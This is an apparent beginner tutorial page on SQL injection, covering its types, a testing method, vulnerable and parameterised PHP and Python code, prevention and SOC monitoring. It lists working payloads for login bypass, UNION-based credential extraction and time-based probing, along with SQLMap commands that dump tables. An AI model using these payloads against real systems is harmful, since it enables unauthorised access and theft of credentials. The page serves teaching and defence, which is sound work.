SQL Injection — Types, Examples, and Prevention for Beginners

What Is SQL Injection and Why Does It Matter?

The OWASP Top 10 (2021) classifies SQL injection under A03:2021 — Injection, and CWE-89 (Improper Neutralization of Special Elements used in an SQL Command) remains one of the most commonly exploited weaknesses in web applications. The Verizon 2024 DBIR confirms that web application attacks involving injection remain a leading cause of data breaches globally.

SQL injection is a web application vulnerability that allows an attacker to interfere with the queries an application makes to its database. It is consistently ranked as the number one or number two most critical web application security risk on the OWASP Top 10 because it can lead to unauthorised data access, data modification, authentication bypass, and in severe cases, full server compromise.

The core problem is simple: when an application builds SQL queries by concatenating user input directly into the query string, an attacker can inject their own SQL code. The database cannot tell the difference between the developer’s intended query and the attacker’s injected code — it executes everything.

SQL injection matters for every security role:

Penetration testers test web applications for SQLi as a standard part of every web app assessment. It remains one of the most common findings.
SOC analysts monitor WAF logs and database activity alerts for SQLi patterns, investigating attempts that bypass initial defences.
Developers need to understand SQLi to write secure code from the start — prevention is far cheaper than remediation.
Certification exams including CompTIA Security+ SY0-701, CEH v13, and CompTIA PenTest+ all cover SQL injection types, detection, and prevention extensively.

This page covers SQL injection types, how attacks work step by step, practical testing examples with SQLMap, and prevention techniques — all explained for beginners who are new to web application security.

The first time I successfully exploited a SQL injection vulnerability on a deliberately vulnerable web application, I was genuinely stunned. I typed a single apostrophe into a login form, the page returned a database error, and within minutes I was extracting usernames and password hashes from the database. It was a powerful reminder that a tiny oversight in code — concatenating user input instead of using parameterised queries — can expose an entire database. That experience made me understand why OWASP keeps SQL injection at the top of their risk list year after year.

Ethical and legal warning: Only test for SQL injection on systems you own or have explicit written authorisation to test. Exploiting SQL injection on unauthorised systems is a criminal offence under the Computer Fraud and Abuse Act (US), the Computer Misuse Act (UK), and the Criminal Code Act 1995 (Australia). Use intentionally vulnerable applications like DVWA, WebGoat, and HackTheBox targets for practice.

What Do Real-World SQL Injection Attacks Look Like?

The OWASP Testing Guide v4.2 documents SQL injection as one of the most critical vulnerabilities to test during any web application security assessment. CWE-89 has appeared on the SANS/CWE Top 25 Most Dangerous Software Weaknesses list consistently, reflecting its prevalence in production systems worldwide.

SQL injection is not a theoretical risk — it causes real data breaches with serious consequences every year.

Scenario	What happens	Why it matters
Login bypass	Attacker enters `' OR 1=1 --` as a username and gains access without valid credentials	Authentication is completely defeated without needing a password
Data exfiltration	Attacker uses UNION-based injection to extract all user records, credit card numbers, or personal data	Sensitive data is exposed, triggering mandatory breach notifications
Privilege escalation	Attacker modifies their role from “user” to “admin” by injecting UPDATE statements	The attacker gains full administrative control of the application
Database destruction	Attacker injects `DROP TABLE users;` or truncates critical tables	Business data is destroyed, potentially irrecoverably
Server compromise	Attacker uses SQLi to read operating system files or execute system commands via database functions	Full server takeover through a web application vulnerability
Second-order SQLi	Attacker stores malicious SQL in a profile field; it executes later when an admin views reports	The injection is not triggered immediately, making it harder to detect and trace

The key takeaway is that SQL injection is not just about reading data. Depending on the database configuration and privileges, it can lead to complete system compromise.

How Does SQL Injection Work?

CWE-89 defines SQL injection as a failure to neutralise special elements used in SQL commands, allowing attacker-controlled input to alter the intended query logic. The OWASP SQL Injection Prevention Cheat Sheet identifies the root cause as string concatenation of user input into SQL queries rather than using parameterised queries.

To understand SQL injection, think of a database query as a sentence with blanks that get filled in by user input. If the user can break out of their designated blank and add their own words, they change what the sentence means.

The Analogy: A Library Request Form

Imagine a library where you fill in a paper form: “Please find all books by ______.” If you write “Shakespeare” the librarian searches for books by Shakespeare. But if you write “Shakespeare OR return ALL books in the vault” and the librarian follows the entire instruction literally, you have just bypassed the intended search and accessed everything.

SQL injection works the same way. The application expects you to fill in a value. When you fill in SQL code instead, the database executes your code as part of the original query.

How a Vulnerable Query Gets Exploited

A vulnerable login query might look like this in PHP:

$query = "SELECT * FROM users WHERE username = '" . $_POST['username'] . "' AND password = '" . $_POST['password'] . "'";

When a normal user enters admin and secretpass, the query becomes:

SELECT * FROM users WHERE username = 'admin' AND password = 'secretpass'

When an attacker enters ' OR 1=1 -- as the username, the query becomes:

SELECT * FROM users WHERE username = '' OR 1=1 --' AND password = ''

The ' closes the username string. OR 1=1 makes the condition always true. -- comments out the rest of the query. The database returns all rows, and the application logs the attacker in as the first user — often the administrator.

SQL Injection Types

Type	Category	How it works	Attacker gets data via
Error-based	In-band	Triggers database errors that reveal information in error messages	Error messages displayed on the page
UNION-based	In-band	Uses UNION SELECT to append attacker queries to legitimate results	Data appears directly in the page output
Boolean-based blind	Blind	Asks true/false questions and observes page differences	Different page responses for true vs false
Time-based blind	Blind	Uses SLEEP() or WAITFOR to create measurable time delays	Response time differences (e.g., 5-second delay = true)
Out-of-band	Out-of-band	Uses database features to send data to an external server	DNS lookups or HTTP requests to attacker-controlled servers
Second-order	Stored	Malicious SQL is stored in the database and executed later in a different context	Triggered when stored data is used in a subsequent query

Step-by-Step: SQL Injection Testing Methodology

A structured approach to SQL injection testing ensures thorough coverage without causing unnecessary damage.

Step 1: Identify Injection Points

Every place where user input reaches a database query is a potential injection point. Common locations include:

Login forms (username and password fields)
Search boxes and filters
URL parameters (?id=1, ?category=books)
HTTP headers (User-Agent, Referer, Cookie values)
Hidden form fields and API parameters

Step 2: Test for Vulnerability

Start with simple payloads that trigger observable behaviour:

' (single quote — triggers syntax errors)
" (double quote)
' OR '1'='1
' OR 1=1 --
1' AND 1=1 -- (boolean test — page loads normally)
1' AND 1=2 -- (boolean test — page behaves differently)
1' AND SLEEP(5) -- (time-based — 5-second delay confirms injection)

If the application returns a database error, behaves differently between 1=1 and 1=2 tests, or delays after a SLEEP payload, SQL injection is likely present.

Step 3: Determine the Injection Type

Based on the application’s responses, identify which type of SQLi you are dealing with:

Error messages visible? Try error-based extraction techniques.
Data reflected on page? Try UNION-based extraction.
No errors, but different responses? Use boolean-based blind techniques.
No visible difference? Try time-based blind techniques.

Step 4: Extract Data (UNION-Based Example)

For UNION-based injection, you need to determine the number of columns in the original query first:

' ORDER BY 1 -- (works)
' ORDER BY 2 -- (works)
' ORDER BY 3 -- (works)
' ORDER BY 4 -- (error — so the query has 3 columns)

Then use UNION SELECT to extract data:

' UNION SELECT 1,2,3 -- (identifies which columns are displayed)
' UNION SELECT username, password, 3 FROM users --
' UNION SELECT table_name, 2, 3 FROM information_schema.tables --

Step 5: Document and Report

Record every injection point, the payloads used, the data accessible, and the potential business impact. Recommend specific fixes — parameterised queries, not just “fix the SQL injection.”

SQL Injection Attack Flow

Visual Explanation

SQL Injection Attack Flow

How malicious input travels through a vulnerable application to compromise the database

User Input

Injection point

Search parameter

URL parameter

HTTP header

Web Application

No input validation

Concatenates input into SQL

No parameterised queries

No input sanitisation

SQL Query

Tainted query

Attacker SQL is embedded

Query logic is altered

Authentication bypassed

Database

Executes everything

Returns unauthorised data

Modifies records

Executes OS commands

Data Exfiltration

Impact

Credentials stolen

Personal data exposed

System compromised

Idle

What Does SQL Injection Look Like in Practice?

These examples demonstrate both the attack side and the defence side. Practise attacks only in your home lab against intentionally vulnerable applications.

-- Vulnerable login: enter this as the username
' OR 1=1 --

-- More targeted: log in as admin specifically
admin' --

-- Works because the query becomes:
-- SELECT * FROM users WHERE username = 'admin' --' AND password = ''
-- The password check is commented out entirely

UNION-Based Data Extraction

-- Step 1: Find number of columns
' ORDER BY 5 --    -- increase until error
' UNION SELECT NULL,NULL,NULL,NULL,NULL --  -- confirm 5 columns

-- Step 2: Find which columns display on page
' UNION SELECT 'a','b','c','d','e' --

-- Step 3: Extract database version
' UNION SELECT @@version,NULL,NULL,NULL,NULL --

-- Step 4: List all tables
' UNION SELECT table_name,NULL,NULL,NULL,NULL FROM information_schema.tables --

-- Step 5: Extract user credentials
' UNION SELECT username,password,NULL,NULL,NULL FROM users --

SQLMap — Automated SQL Injection Testing

SQLMap is the industry-standard open-source tool for automated SQL injection detection and exploitation.

# Basic SQLi test on a URL parameter
sqlmap -u "http://target.com/page?id=1" --batch

# Test a POST login form
sqlmap -u "http://target.com/login" --data="username=admin&password=test" --batch

# Enumerate databases
sqlmap -u "http://target.com/page?id=1" --dbs --batch

# Enumerate tables in a specific database
sqlmap -u "http://target.com/page?id=1" -D targetdb --tables --batch

# Dump a specific table
sqlmap -u "http://target.com/page?id=1" -D targetdb -T users --dump --batch

# Test with specific injection technique
sqlmap -u "http://target.com/page?id=1" --technique=U --batch  # UNION only
sqlmap -u "http://target.com/page?id=1" --technique=T --batch  # Time-based only

# Increase verbosity for learning
sqlmap -u "http://target.com/page?id=1" -v 3 --batch

Manual vs Automated Testing

Visual Explanation

Manual SQLi Testing vs SQLMap (Automated)

Manual Testing

Deep understanding — You learn exactly how each payload works and why
Targeted precision — Custom payloads for unusual or complex injection points
Slower process — Testing each parameter manually takes significant time
Error-prone — Easy to miss injection points or make syntax mistakes

SQLMap (Automated)

Speed and coverage — Tests hundreds of payloads across multiple techniques automatically
Consistent results — Does not miss known injection patterns or get tired
Can be noisy — Generates many requests that trigger WAF and IDS alerts
False sense of security — A clean SQLMap scan does not guarantee no SQLi exists

Verdict: Learn manual testing first to understand the fundamentals. Use SQLMap to increase speed and coverage once you understand what it is doing.

Use case

Certification exams test manual techniques. Real-world pentests use both — manual for discovery, SQLMap for thorough exploitation.

Vulnerable vs Secure Code

Vulnerable PHP (string concatenation):

// VULNERABLE — never do this
$username = $_POST['username'];
$query = "SELECT * FROM users WHERE username = '$username'";
$result = mysqli_query($conn, $query);

Secure PHP (parameterised query with PDO):

// SECURE — use parameterised queries
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username");
$stmt->execute(['username' => $_POST['username']]);
$result = $stmt->fetchAll();

Vulnerable Python (string formatting):

# VULNERABLE — never do this
username = request.form['username']
query = f"SELECT * FROM users WHERE username = '{username}'"
cursor.execute(query)

Secure Python (parameterised query):

# SECURE — use parameterised queries
username = request.form['username']
cursor.execute("SELECT * FROM users WHERE username = %s", (username,))

The fix is the same in every language: never concatenate user input into SQL queries. Use parameterised queries (also called prepared statements) where the database driver separates the SQL structure from the data values.

What Are the Limitations of SQL Injection Prevention?

The OWASP Testing Guide v4.2 cautions that no single defence — including WAFs, input validation, and ORMs — can completely eliminate SQL injection risk without parameterised queries as the foundation. The SANS Top 25 reinforces that CWE-89 persists in production because developers continue to use string concatenation despite well-documented alternatives.

Understanding the limitations of SQL injection testing and prevention ensures realistic expectations.

Factor	Limitation	How to handle it
WAF protection	Web Application Firewalls block common SQLi payloads but can be bypassed with encoding, case variation, and comment injection	WAFs are defence-in-depth, not a replacement for secure code. Test WAF bypass techniques during pentests.
Blind injection speed	Boolean and time-based blind SQLi can take hours to extract data one character at a time	Use SQLMap’s optimisation options. Accept that blind extraction is slow but still dangerous.
Parameterised query gaps	Parameterised queries protect values but cannot parameterise table names, column names, or ORDER BY clauses	Use allowlists for dynamic identifiers. Never let user input control query structure.
Stored procedures	Stored procedures can still be vulnerable if they use dynamic SQL internally	Audit stored procedures for concatenation. Parameterise inside procedures too.
ORM false confidence	Developers assume ORMs prevent SQLi, but raw queries within ORMs are still vulnerable	Audit any raw SQL within ORM code. Use the ORM’s query builder properly.
Second-order detection	Second-order SQLi is extremely hard to detect with automated scanners because the injection and execution are separated	Manual code review and thorough testing of data flows are required.

A common beginner mistake is assuming that filtering out single quotes prevents SQL injection. Attackers can use encoding, double-encoding, character substitution, and numeric injection (which does not require quotes at all) to bypass simple filters. The only reliable prevention is parameterised queries.

What Interview Questions Should You Expect About SQL Injection?

CompTIA Security+ SY0-701, CEH v13, and CompTIA PenTest+ all dedicate significant coverage to SQL injection types, detection, and prevention — making SQLi one of the most frequently tested topics in cybersecurity certification exams and job interviews.

SQL injection questions are almost guaranteed in web application security interviews because SQLi is so fundamental and so common.

Q1: What is SQL injection and why is it dangerous?

Strong answer: “SQL injection is a vulnerability where an attacker can insert malicious SQL code into a query through unsanitised user input. It is dangerous because it can allow an attacker to bypass authentication, read sensitive data from the database including credentials and personal information, modify or delete data, and in some configurations even execute operating system commands on the database server. It is consistently ranked in the OWASP Top 10 because it is both common and high-impact.”

Q2: What is the difference between in-band and blind SQL injection?

Strong answer: “In-band SQL injection returns data directly in the application’s response — either through error messages that reveal database information, or through UNION-based injection that appends attacker queries to legitimate results. Blind SQL injection gives no direct data output. The attacker infers information indirectly — either by observing different page behaviours for true versus false conditions (boolean-based) or by measuring response time delays from functions like SLEEP (time-based). Blind SQLi is slower to exploit but equally dangerous.”

Q3: How do you prevent SQL injection?

Strong answer: “The primary defence is parameterised queries, also called prepared statements. These separate the SQL structure from user data so the database always treats input as data, never as code. Additional layers include input validation with allowlists, using an ORM’s query builder instead of raw SQL, applying the principle of least privilege to database accounts so even a successful injection has limited access, deploying a WAF as defence-in-depth, and disabling detailed database error messages in production.”

Q4: Can a WAF prevent all SQL injection attacks?

Strong answer: “No. WAFs can block many common SQLi payloads and provide valuable defence-in-depth, but they can be bypassed using encoding techniques, comment injection, case variations, and novel payload structures. A WAF should never be the sole defence against SQL injection. The root fix is always parameterised queries in the application code. WAFs are a complementary layer, not a replacement for secure coding.”

Q5: What tool would you use to test for SQL injection?

Strong answer: “I would start with manual testing using a proxy like Burp Suite to identify injection points and understand the application’s behaviour. Then I would use SQLMap for thorough automated testing across all parameters. For a comprehensive assessment, I would also review the source code if available, looking for string concatenation in database queries. The combination of manual testing, automated tools, and code review provides the best coverage.”

How Is SQL Injection Handled in Real Security Operations?

MITRE ATT&CK documents SQL injection under T1190 (Exploit Public-Facing Application) as a common initial access technique, and SOC teams monitor for SQLi patterns as part of their standard web application threat detection capabilities.

SQL injection is not just a penetration testing topic. It affects daily security operations across multiple teams.

Day-One SOC Scenarios

As a new SOC analyst, you will encounter SQL injection in several contexts:

WAF alerts. Your organisation’s WAF will flag requests containing SQL injection patterns like ' OR 1=1, UNION SELECT, and ; DROP TABLE. You triage these alerts to determine whether they are automated scans, targeted attacks, or false positives from legitimate requests that happen to contain SQL-like syntax.
Database activity monitoring. Unusual query patterns — such as queries against information_schema tables, large data exports, or queries at unusual hours — may indicate active SQL injection exploitation.
Incident investigation. When a data breach occurs, web server access logs and database logs are primary evidence sources. You look for SQL injection payloads in URL parameters, POST bodies, and HTTP headers.

Australian Context

The Australian Cyber Security Centre (ACSC) ISM controls mandate secure software development practices including input validation and parameterised database queries. The ACSC’s web application security guidance specifically addresses SQL injection as a priority risk.

Under the Privacy Act 1988, organisations that experience data breaches resulting from SQL injection may face mandatory Notifiable Data Breaches Scheme reporting obligations. If the breach involves personal information and is likely to result in serious harm, the affected organisation must notify both the Office of the Australian Information Commissioner (OAIC) and affected individuals.

The Security of Critical Infrastructure Act 2018 (SOCI Act) imposes additional requirements on critical infrastructure operators, making SQL injection prevention particularly important for organisations in sectors like healthcare, finance, energy, and telecommunications.

For career changers targeting Australian roles, understanding SQL injection is essential — the ASD Essential Eight includes patching applications and restricting administrative privileges, both of which directly reduce the impact of SQL injection attacks.

Summary and Key Takeaways

SQL injection remains one of the most dangerous and prevalent web application vulnerabilities, despite being well understood and fully preventable.

SQL injection works by inserting malicious SQL code into application queries through unsanitised user input. The database cannot distinguish between the developer’s query and the attacker’s injected code.
There are multiple SQLi types. In-band (error-based, UNION-based) returns data directly. Blind (boolean, time-based) infers data indirectly. Out-of-band and second-order are less common but equally dangerous.
Parameterised queries are the definitive fix. They separate SQL structure from user data, making injection impossible regardless of what the user enters.
Defence-in-depth matters. Combine parameterised queries with input validation, least-privilege database accounts, WAFs, and disabled error messages in production.
SQLMap automates testing but should not replace understanding. Learn manual techniques first so you understand what automated tools are doing.
Test only with authorisation. SQL injection exploitation against unauthorised systems is a criminal offence. Use DVWA, WebGoat, and HackTheBox for safe practice.
Australian compliance requires both prevention (secure coding practices) and response readiness (breach notification obligations under the Privacy Act).

Individual results vary. Career timelines, salary outcomes (source: BLS and CyberSeek, as of 2025), and job availability depend on your location, experience, market conditions, and effort. The information on this page is educational, not a guarantee of employment outcomes.

Web Application Hacking for the broader context of web security testing
Scanning Networks for discovering web applications to test
Vulnerability Analysis for systematic vulnerability assessment
Penetration Testing Basics for the methodology that includes SQLi testing

Frequently Asked Questions

What is SQL injection in simple terms?

SQL injection is when an attacker types malicious database commands into a web form or URL parameter, and the web application passes that input directly into a database query without checking it first. The database executes the attacker's commands as if they were part of the original query, allowing unauthorised data access or modification.

Why is SQL injection ranked so high on the OWASP Top 10?

SQL injection is ranked high because it is extremely common, easy to exploit with freely available tools, and has severe consequences including complete database compromise, data theft, and potential server takeover. Despite being well understood and fully preventable, many applications still contain SQLi vulnerabilities due to insecure coding practices.

What is the difference between UNION-based and blind SQL injection?

UNION-based injection appends additional SELECT queries to the original query, displaying stolen data directly on the web page. Blind injection gives no direct output — the attacker infers information by observing different page responses (boolean-based) or measuring time delays (time-based). Both are dangerous, but blind injection is much slower to exploit.

What is a parameterised query and why does it prevent SQL injection?

A parameterised query (also called a prepared statement) separates the SQL command structure from the user-supplied data. The database treats the user input strictly as data values, never as executable SQL code. Even if an attacker enters SQL syntax, it is treated as a literal string, not as commands. This is the definitive prevention for SQL injection.

Can SQL injection work on modern frameworks and ORMs?

Modern frameworks and ORMs significantly reduce SQL injection risk when used correctly because they default to parameterised queries. However, developers can still introduce vulnerabilities by using raw SQL queries within the ORM, concatenating user input into query builder methods, or using dynamic table and column names from user input. Code review is still necessary.

What is SQLMap and is it legal to use?

SQLMap is an open-source tool that automates SQL injection detection and exploitation. It is legal to download and use against systems you own or have written authorisation to test. Using SQLMap against unauthorised systems is illegal. Security professionals use SQLMap during authorised penetration tests to thoroughly test web applications for SQL injection vulnerabilities.

What is second-order SQL injection?

Second-order SQL injection occurs when malicious SQL is stored in the database through one input (such as a registration form) and executed later in a different context (such as when an admin generates a report). The injection and the execution are separated in time and location, making it extremely difficult for automated scanners to detect.

Does input validation prevent SQL injection?

Input validation alone does not reliably prevent SQL injection. Attackers can use encoding, comment characters, and numeric injection to bypass filters. Input validation is a useful defence-in-depth layer — for example, validating that an age field contains only numbers — but parameterised queries are the only reliable prevention. Always use parameterised queries as the primary defence.

How do I practise SQL injection safely?

Use intentionally vulnerable web applications in your home lab. DVWA (Damn Vulnerable Web Application), WebGoat, bWAPP, and SQLi-labs are designed specifically for practising SQL injection. Platforms like TryHackMe, Hack The Box, and PortSwigger Web Security Academy also provide legal, guided SQL injection exercises.

What should I do if I find a SQL injection vulnerability?

If you find it during an authorised penetration test, document it thoroughly — the injection point, payloads used, data accessible, and business impact — and include it in your report with remediation recommendations. If you find it accidentally on a system you are not authorised to test, stop immediately, do not exploit it further, and consider reporting it through the organisation's responsible disclosure programme if one exists.

More resources

OWASP SQL Injection Prevention Cheat Sheet

The definitive guide to preventing SQL injection — parameterised queries, stored procedures, and input validation for every language.

Visit PortSwigger SQL Injection Labs

Free hands-on labs covering every SQL injection type — UNION, blind, error-based, and second-order with guided walkthroughs.

Visit SQLMap Official Documentation

Complete documentation for the industry-standard automated SQL injection tool — installation, usage, and advanced techniques.

Visit

Technical content verified in March 2026 against OWASP Top 10 (2021), CompTIA Security+ SY0-701 exam objectives, CEH v13 syllabus, SQLMap 1.8, and ACSC web application security guidance.

SQL Injection — Types, Examples, and Prevention for Beginners

What Is SQL Injection and Why Does It Matter?

What Do Real-World SQL Injection Attacks Look Like?

How Does SQL Injection Work?

The Analogy: A Library Request Form

How a Vulnerable Query Gets Exploited

SQL Injection Types

Step-by-Step: SQL Injection Testing Methodology

Step 1: Identify Injection Points

Step 2: Test for Vulnerability

Step 3: Determine the Injection Type

Step 4: Extract Data (UNION-Based Example)

Step 5: Document and Report

SQL Injection Attack Flow

Visual Explanation

What Does SQL Injection Look Like in Practice?

Manual Login Bypass

UNION-Based Data Extraction

SQLMap — Automated SQL Injection Testing

Manual vs Automated Testing

Visual Explanation

Vulnerable vs Secure Code

What Are the Limitations of SQL Injection Prevention?

What Interview Questions Should You Expect About SQL Injection?

How Is SQL Injection Handled in Real Security Operations?

Day-One SOC Scenarios

Australian Context

Summary and Key Takeaways

Related

Frequently Asked Questions

Related sections

More resources